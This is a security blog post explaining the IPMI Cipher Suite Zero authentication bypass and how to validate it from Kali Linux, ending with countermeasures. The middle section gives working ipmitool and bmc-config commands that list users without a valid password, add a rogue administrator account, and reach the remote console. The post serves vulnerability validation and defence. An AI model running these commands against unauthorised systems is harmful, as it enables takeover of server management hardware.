By Tony Lee
Introduction
So, you run a vulnerability scan and see a finding called: “IPMI Cipher Suite Zero Authentication Bypass”. After reading the description, you realize that it sounds pretty bad. Let’s take a few minutes to understand the protocol and vulnerability. Then we will cover vulnerability validation and the repercussions of having this issue lurk on your network for an attacker to find.
Outline
- Understanding
- Wikipedia
- Nessus
- Original report
- Necessary Tools
- Validation and Consequences
- List users
- Pull the current config
- Add users
- Login to the WebUI
- Remove users
- Countermeasures
- Conclusion
Understanding
Wikipedia + Nessus = Decent understanding of the purpose and vulnerability:
Wikipedia
“The Intelligent Platform Management Interface (IPMI) is a standardized computer system interface used by system administrators for out-of-band management of computer systems and monitoring of their operation. It is a way to manage a computer that may be powered off or otherwise unresponsive by using a network connection to the hardware rather than to an operating system or login shell.
The development of this interface specification was led by Intel Corporation and is supported by more than 200 computer systems vendors.[1] Cisco, Dell, Hewlett-Packard, Intel, and NEC Corporation announced IPMI v1.0 on 1998-09-16, v1.5 on 2001-03-01, and v2.0 on 2004-02-14.”
So what does this mean?? Think Dell’s DRAC or HP’s iLO--remote out of band management that can control hardware and provide a virtual desktop/terminal.
Nessus
Now that we understand what IPMI is used for, what is the problem with it? Nessus has the short answer:
“The IPMI service listening on the remote system has cipher suite zero enabled, which permits logon as an administrator without requiring a password. Once logged in, a remote attacker may perform a variety of actions, including powering off the remote system.”
Source: Nessus Vulnerability Scanner
Original Disclosure
These two sources give you a high level understanding of the issue, but if you want the gory details and an in-depth understanding of this vulnerability--see the original disclosure by Dan Farmer <zen@fish2.com>: http://fish2.com/ipmi/cipherzero.html
If you want to know what you need to validate it using Kali, read on. :)
Necessary Tools
Since we like quick and easy validation, the operating system that we will be using to validate this finding is Kali Linux 1.0 (VMWare download). This is available from www.kali.org/downloads/.
Figure 1: Kali Linux download page
Unfortunately the base install of Kali, does not include the tools we need, so let’s install them.
There are two tools that we will need:
ipmitool - located in the ipmitool package
bmc-config - located in the freeipmi-tools package (read caution below)
Caution:
At first, I used the following command: “apt-get install freeipmi-tools”. However, the problem is that the current debian package in our repository is only version 1.1.5, which does not support the -I option to specify CIPHER-SUITE-ID. Thus we get an error message later if we try to add a user.
Error message encountered later if we do not perform a manual install:
bmc-config: invalid option -- 'I'
Try `bmc-config --help' or `bmc-config --usage' for more information.
|
Freeipmi version 1.1.6 supports this option though, so we will have to get that manually.
The following commands will get you all the tools needed to validate this finding:
apt-get install ipmitool
wget http://ftp.gnu.org/gnu/freeipmi/freeipmi-1.1.6.tar.gz
tar -zxvf freeipmi-1.1.6.tar.gz
cd freeipmi-1.1.6/
./configure
make
make install
|
Validation and Consequences
So, how will we validate this issue? There are progressively intrusive actions that we can perform to validate and understand the consequences.
List users
The easiest way to test the bypass is to list the users using the ipmitool:
If the issue is discovered on an HP iLO, try using Administrator as the default user present. If the device is a DRAC, try using root. If you are unsure of the device attempt to access it over HTTP or try either Administrator or root for the user. For our example, we will run it against an iLO:
Syntax:
ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list
Example:
Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P whateverPassword user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 Administrator true false true ADMINISTRATOR
2 (Empty User) true false false NO ACCESS
3 (Empty User) true false false NO ACCESS
4 (Empty User) true false false NO ACCESS
5 (Empty User) true false false NO ACCESS
6 (Empty User) true false false NO ACCESS
7 (Empty User) true false false NO ACCESS
8 (Empty User) true false false NO ACCESS
9 (Empty User) true false false NO ACCESS
10 (Empty User) true false false NO ACCESS
11 (Empty User) true false false NO ACCESS
12 (Empty User) true false false NO ACCESS
|
Pull the current config
Before modifying the configuration file, we may want to pull a copy first. This will pull the current remote configuration and write it to a text file called config.txt.
Tony@kali:~# /usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 -o -f config.txt
|
Add users
The next step after listing the users is to add a user in which we know the password. Note: The original advisory listed a configuration file that you could use as a template. That configuration file did not work for me. My test target is an iLO 4, so the best thing I could come up with was to pull the current configuration as shown above and take a snippet of that and use it to create a user. My configuration file is shown below--but I took it from the current configuration to make sure it matched what the remote device was expecting. Also, remember to uncomment the Password field if you copy and paste from your current configuration file--mine was commented (##) by default.
Using your favorite text editor (VIM is the best evar), create a text file called adduser.txt with the following content:
Section User2
## Give Username
Username TestUser
## Give password or blank to clear. MAX 16 chars (20 chars if IPMI 2.0 supported).
Password StrongPassword1!
## Possible values: Yes/No or blank to not set
Enable_User Yes
## Possible values: Yes/No
Lan_Enable_IPMI_Msgs Yes
## Possible values: Yes/No
Lan_Enable_Link_Auth Yes
## Possible values: Yes/No
Lan_Enable_Restricted_to_Callback No
## Possible values: Callback/User/Operator/Administrator/OEM_Proprietary/No_Access
Lan_Privilege_Limit Administrator
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Lan_Session_Limit
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Serial_Session_Limit
EndSection
|
Now use the bmc-config tool to add that user using the --commit option:
Syntax:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u <user> -p <password> -h <IP.AD.DR.ESS> --commit -f adduser.txt
Example:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 --commit -f adduser.txt
Note: I received the following error, but the WebUI login still worked:
ERROR: Failed to commit `User2:Lan_Enable_Link_Auth': Invalid/Unsupported Config
|
List the users again to make sure your new user is present:
Syntax:
ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list
Example:
Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P WhateverPassword user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 Administrator true false true ADMINISTRATOR
2 TestUser true false true ADMINISTRATOR
3 (Empty User) true false false NO ACCESS
4 (Empty User) true false false NO ACCESS
5 (Empty User) true false false NO ACCESS
6 (Empty User) true false false NO ACCESS
7 (Empty User) true false false NO ACCESS
8 (Empty User) true false false NO ACCESS
9 (Empty User) true false false NO ACCESS
10 (Empty User) true false false NO ACCESS
11 (Empty User) true false false NO ACCESS
12 (Empty User) true false false NO ACCESS
|
Our new TestUser is present as an Administrator. Let’s try it out!
Login to the WebUI
Now that you have a username and a password that you know--try logging into the Web UI. 
Figure 2: Log into the Web UI with your newly created credentials.
After authenticating with your newly created credentials, you should have options similar to what is shown in the screenshot below.
Figure 3: All of the options expanded. Power and Remote Console can be the most interruptive and fun.
Try to access the Remote Console. If the host at the remote console has an unlocked screen--you are in business!
Remove users
After the point has been proven, you can use the Administrator account to delete the user or you can try to delete it using the same method you used to add a user--the bmc-tool.
Using your favorite text editor (VIM is still the best evar), create a text file called removeuser.txt with the following content:
Section User2
## Give Username
Username (Empty User)
## Give password or blank to clear. MAX 16 chars (20 chars if IPMI 2.0 supported).
## Password
## Possible values: Yes/No or blank to not set
Enable_User No
## Possible values: Yes/No
Lan_Enable_IPMI_Msgs No
## Possible values: Yes/No
Lan_Enable_Link_Auth No
## Possible values: Yes/No
Lan_Enable_Restricted_to_Callback No
## Possible values: Callback/User/Operator/Administrator/OEM_Proprietary/No_Access
Lan_Privilege_Limit No_Access
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Lan_Session_Limit
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Serial_Session_Limit
EndSection
|
Now use the bmc-config tool to remove the user:
Syntax:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u <user> -p <password> -h <IP.AD.DR.ESS> --commit -f removeuser.txt
Example:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 --commit -f removeuser.txt
Note: I received the following error, but the user was still disabled:
ERROR: Failed to commit `User2:Lan_Enable_IPMI_Msgs': Invalid/Unsupported Config
ERROR: Failed to commit `User2:Lan_Enable_Link_Auth': Invalid/Unsupported Config
ERROR: Failed to commit `User2:Lan_Enable_Restricted_to_Callback': Invalid/Unsupported Config
ERROR: Failed to commit `User2:Lan_Privilege_Limit': Invalid/Unsupported Config
|
List the users again to make sure your new user is gone:
Syntax:
ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list
Example:
Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P whateverPassword user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 Administrator true false true ADMINISTRATOR
2 (Empty true false false NO ACCESS
3 (Empty User) true false false NO ACCESS
4 (Empty User) true false false NO ACCESS
5 (Empty User) true false false NO ACCESS
6 (Empty User) true false false NO ACCESS
7 (Empty User) true false false NO ACCESS
8 (Empty User) true false false NO ACCESS
9 (Empty User) true false false NO ACCESS
10 (Empty User) true false false NO ACCESS
11 (Empty User) true false false NO ACCESS
12 (Empty User) true false false NO ACCESS
|
For some reason, I could not get it to say “(Empty User)” again, but the account no longer works. If you figure it out, please feel free to leave the answer in the comments below.
Countermeasures
The first countermeasure is to find all of your systems with this issue. You can use a scanner such as Nessus or you could also use a Metasploit auxiliary module using the following path:
auxiliary/scanner/ipmi/ipmi_cipher_zero
Just set your RHOSTS variable and you are off and running.
The actual fix appears simple in that IPMI v2 should not support cipher 0 in the first place. As easy as this sounds, the manufacturers may not provide that level of control over the device--thus you may be stuck relying on their patches. For example, for iLO the fix is the following:
“Upgrade iLO3 to version 1.60, or higher, and iLO4 to version 1.30, or higher, to address this vulnerability.”
Your vendor and mileage may vary.
Conclusion
In this article, we examined how to quickly validate and explore the consequences of the IPMI Cipher 0 bypass vulnerability. Special Thanks goes to Dan Farmer for his research in IPMI security and releasing his findings. Thanks for reading and happy hacking.
